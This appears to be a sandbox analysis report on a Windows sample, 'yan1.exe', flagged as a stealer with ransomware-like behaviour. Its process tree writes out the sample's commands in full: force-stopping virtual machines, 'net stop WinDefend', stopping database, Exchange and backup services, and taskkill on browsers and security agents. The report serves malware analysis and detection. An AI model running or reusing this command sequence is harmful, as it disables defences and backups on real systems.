Overview

overview

10

Static

static

10

yan1.exe

windows7-x64

7

yan1.exe

windows10-2004-x64

8

Resubmissions

28-10-2022 06:14

221028-gzepmafagn 10

13-10-2022 09:36

221013-lkxdcabga8 10

Analysis

  • max time kernel
    150s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-10-2022 06:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    yan1.exe

  • Size

    398KB

  • MD5

    afaf2d4ebb6dc47e79a955df5ad1fc8a

  • SHA1

    c418ce055d97928f94ba06b5de8124a601d8f632

  • SHA256

    d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c

  • SHA512

    321424ac21ebdb7f759a84236cb95c533b3000b3143099e1697f4a1f534c11782dafa68e5fa9e662b973b9669c1177b69c2fd0b83455625e57aa123385f581e6

  • SSDEEP

    12288:EfaLQyGK6kAa2XgsA1RUa+jE6S3qRTjO0:EwIHnXp/O0

Score
8/10
spywarestealer

Malware Config

Signatures

  • Drops file in Drivers directory 27 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in System32 directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\yan1.exe
    C:\Users\Admin\AppData\Local\Temp\yan1.exe -pass D86BDXL9N3H
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -command "Get-VM | Stop-VM -Force"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-VM | Stop-VM -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" net stop MSSQLServerADHelper100
      2⤵
        PID:1900
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" net stop MSSQL$ISARS
        2⤵
          PID:3904
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" net stop MSSQL$MSFW
          2⤵
            PID:2868
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" net stop SQLAgent$ISARS
            2⤵
              PID:4116
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" net stop SQLAgent$MSFW
              2⤵
                PID:3792
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" net stop SQLBrowser
                2⤵
                  PID:3156
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" net stop ReportServer$ISARS
                  2⤵
                    PID:2244
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" net stop SQLWriter
                    2⤵
                      PID:1288
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" net stop WinDefend
                      2⤵
                        PID:3872
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" net stop mr2kserv
                        2⤵
                          PID:4080
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" net stop MSExchangeADTopology
                          2⤵
                            PID:2624
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" net stop MSExchangeFBA
                            2⤵
                              PID:4336
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" net stop MSExchangeIS
                              2⤵
                                PID:2372
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" net stop MSExchangeSA
                                2⤵
                                  PID:4948
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" net stop ShadowProtectSvc
                                  2⤵
                                    PID:4604
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" net stop SPAdminV4
                                    2⤵
                                      PID:960
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" net stop SPTimerV4
                                      2⤵
                                        PID:2400
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" net stop SPTraceV4
                                        2⤵
                                          PID:2344
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" net stop SPUserCodeV4
                                          2⤵
                                            PID:2676
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" net stop SPWriterV4
                                            2⤵
                                              PID:1348
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" net stop SPSearch4
                                              2⤵
                                                PID:4368
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" net stop MSSQLServerADHelper100
                                                2⤵
                                                  PID:3028
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" net stop IISADMIN
                                                  2⤵
                                                    PID:4476
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" net stop firebirdguardiandefaultinstance
                                                    2⤵
                                                      PID:4832
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" net stop ibmiasrw
                                                      2⤵
                                                        PID:1632
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" net stop QBCFMonitorService
                                                        2⤵
                                                          PID:4676
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" net stop QBVSS
                                                          2⤵
                                                            PID:660
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" net stop QBPOSDBServiceV12
                                                            2⤵
                                                              PID:520
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
                                                              2⤵
                                                                PID:1008
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
                                                                2⤵
                                                                  PID:1084
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" net stop IISADMIN
                                                                  2⤵
                                                                    PID:2988
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" net stop "Simply Accounting Database Connection Manager"
                                                                    2⤵
                                                                      PID:4984
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" net stop QuickBooksDB1
                                                                      2⤵
                                                                        PID:3076
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" net stop QuickBooksDB2
                                                                        2⤵
                                                                          PID:444
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" net stop QuickBooksDB3
                                                                          2⤵
                                                                            PID:3524
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" net stop QuickBooksDB4
                                                                            2⤵
                                                                              PID:1028
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" net stop QuickBooksDB5
                                                                              2⤵
                                                                                PID:5144
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" net stop QuickBooksDB6
                                                                                2⤵
                                                                                  PID:5240
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" net stop QuickBooksDB7
                                                                                  2⤵
                                                                                    PID:5280
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" net stop QuickBooksDB8
                                                                                    2⤵
                                                                                      PID:5356
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" net stop QuickBooksDB9
                                                                                      2⤵
                                                                                        PID:5380
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" net stop QuickBooksDB10
                                                                                        2⤵
                                                                                          PID:5440
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" net stop QuickBooksDB11
                                                                                          2⤵
                                                                                            PID:5488
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" net stop QuickBooksDB12
                                                                                            2⤵
                                                                                              PID:5524
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" net stop QuickBooksDB13
                                                                                              2⤵
                                                                                                PID:5600
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" net stop QuickBooksDB14
                                                                                                2⤵
                                                                                                  PID:5628
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" net stop QuickBooksDB15
                                                                                                  2⤵
                                                                                                    PID:5696
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" net stop QuickBooksDB16
                                                                                                    2⤵
                                                                                                      PID:5716
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" net stop QuickBooksDB17
                                                                                                      2⤵
                                                                                                        PID:5788
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" net stop QuickBooksDB18
                                                                                                        2⤵
                                                                                                          PID:5860
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" net stop QuickBooksDB19
                                                                                                          2⤵
                                                                                                            PID:5896
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" net stop QuickBooksDB20
                                                                                                            2⤵
                                                                                                              PID:5952
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" net stop QuickBooksDB21
                                                                                                              2⤵
                                                                                                                PID:5972
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" net stop QuickBooksDB22
                                                                                                                2⤵
                                                                                                                  PID:6012
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" net stop QuickBooksDB23
                                                                                                                  2⤵
                                                                                                                    PID:6072
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" net stop QuickBooksDB24
                                                                                                                    2⤵
                                                                                                                      PID:6092
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" net stop QuickBooksDB25
                                                                                                                      2⤵
                                                                                                                        PID:5364
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" taskkill /f /im mysql*
                                                                                                                        2⤵
                                                                                                                          PID:5724
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" taskkill /f /im dsa*
                                                                                                                          2⤵
                                                                                                                            PID:5904
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" taskkill /f /im veeam*
                                                                                                                            2⤵
                                                                                                                              PID:6040
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" taskkill /f /im chrome*
                                                                                                                              2⤵
                                                                                                                                PID:6148
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" taskkill /f /im iexplore*
                                                                                                                                2⤵
                                                                                                                                  PID:6176
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" taskkill /f /im firefox*
                                                                                                                                  2⤵
                                                                                                                                    PID:6256
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" taskkill /f /im excel*
                                                                                                                                    2⤵
                                                                                                                                      PID:6312
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" taskkill /f /im outlook*
                                                                                                                                      2⤵
                                                                                                                                        PID:6272
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" taskkill /f /im taskmgr*
                                                                                                                                        2⤵
                                                                                                                                          PID:6352
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" taskkill /f /im tasklist*
                                                                                                                                          2⤵
                                                                                                                                            PID:6384
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" taskkill /f /im Ntrtscan*
                                                                                                                                            2⤵
                                                                                                                                              PID:6432
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" taskkill /f /im ds_monitor*
                                                                                                                                              2⤵
                                                                                                                                                PID:6532
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" taskkill /f /im outlook*
                                                                                                                                                2⤵
                                                                                                                                                  PID:6344
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" taskkill /f /im Notifier*
                                                                                                                                                  2⤵
                                                                                                                                                    PID:6608
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" taskkill /f /im putty*
                                                                                                                                                    2⤵
                                                                                                                                                      PID:6668
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" taskkill /f /im ssh*
                                                                                                                                                      2⤵
                                                                                                                                                        PID:6684
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" taskkill /f /im TmListen*
                                                                                                                                                        2⤵
                                                                                                                                                          PID:6748
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" taskkill /f /im CNTAoSMgr*
                                                                                                                                                          2⤵
                                                                                                                                                            PID:6784
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" taskkill /f /im iVPAgent*
                                                                                                                                                            2⤵
                                                                                                                                                              PID:6756
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" taskkill /f /im IBM*
                                                                                                                                                              2⤵
                                                                                                                                                                PID:6872
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" taskkill /f /im black*
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:6928
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" taskkill /f /im bes10*
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:6884
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" taskkill /f /im robo*
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:6996
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" taskkill /f /im copy*
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:7028
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" taskkill /f /im sql
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:7064
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" taskkill /f /im store.exe
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:7120
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" taskkill /f /im sql*
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:7140
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" taskkill /f /im vee*
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:6380
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" taskkill /f /im wrsa*
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:6084
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" taskkill /f /im wrsa.exe
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:7084
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" taskkill /f /im postg*
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:7172
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" taskkill /f /im sage*
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:7232

                                                                                                                                                                                    Network

                                                                                                                                                                                    MITRE ATT&CK Enterprise v6

                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                    Downloads

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      2KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      cec6220591035e8e7c9348669b0c6473

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      af3e74a170d3ab22c3f1b250d25d3890a8b0ad54

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      d3b707678c04cc400857d1a317536aefe3da586df0e0a6f5abc8731c9f0d3f80

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      77a4f2691786b0dd65cdfcd6c24f715ef3584fd79f7c696572a0dbaf6191e72b996a3c13d12b68423563b889c45831fc1a36d4b364508176706c17ed9628526d

                                                                                                                                                                                      Download Submit

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      18KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      640a5968529546c836734c9581618c6a

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      f58b1dcf07d51dfd4eea4993fdbbb0e7d123212a

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      34d0c639ab1bdb851f078c3a580ce2041c78049598676153759115496a293cb9

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      8b1e858140abcc8e49c88d45d60c5fd1ea077d4d10695a140b11570e58bf20899d2270bff8fd90ea8e2f87e3098ffcf1676c747721c7350298a1eb26b62713c5

                                                                                                                                                                                      Download Submit

                                                                                                                                                                                    • memory/1116-198-0x0000000007670000-0x0000000007CEA000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      6.5MB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-141-0x00000000023D0000-0x0000000002406000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      216KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-209-0x0000000007260000-0x000000000726E000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      56KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-208-0x00000000072B0000-0x0000000007346000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      600KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-145-0x0000000005150000-0x0000000005778000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      6.2MB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-202-0x00000000070A0000-0x00000000070AA000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      40KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-166-0x0000000005D20000-0x0000000005D3E000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      120KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-199-0x0000000007030000-0x000000000704A000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      104KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-190-0x000000006FC40000-0x000000006FC8C000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      304KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-152-0x0000000004F50000-0x0000000004F72000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      136KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-211-0x0000000007350000-0x0000000007358000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      32KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-210-0x0000000007370000-0x000000000738A000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      104KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-154-0x0000000005030000-0x0000000005096000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      408KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-156-0x00000000050A0000-0x0000000005106000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      408KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-191-0x00000000062E0000-0x00000000062FE000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      120KB

                                                                                                                                                                                      Download

                                                                                                                                                                                    • memory/1116-189-0x0000000006CD0000-0x0000000006D02000-memory.dmp

                                                                                                                                                                                      Filesize

                                                                                                                                                                                      200KB

                                                                                                                                                                                      Download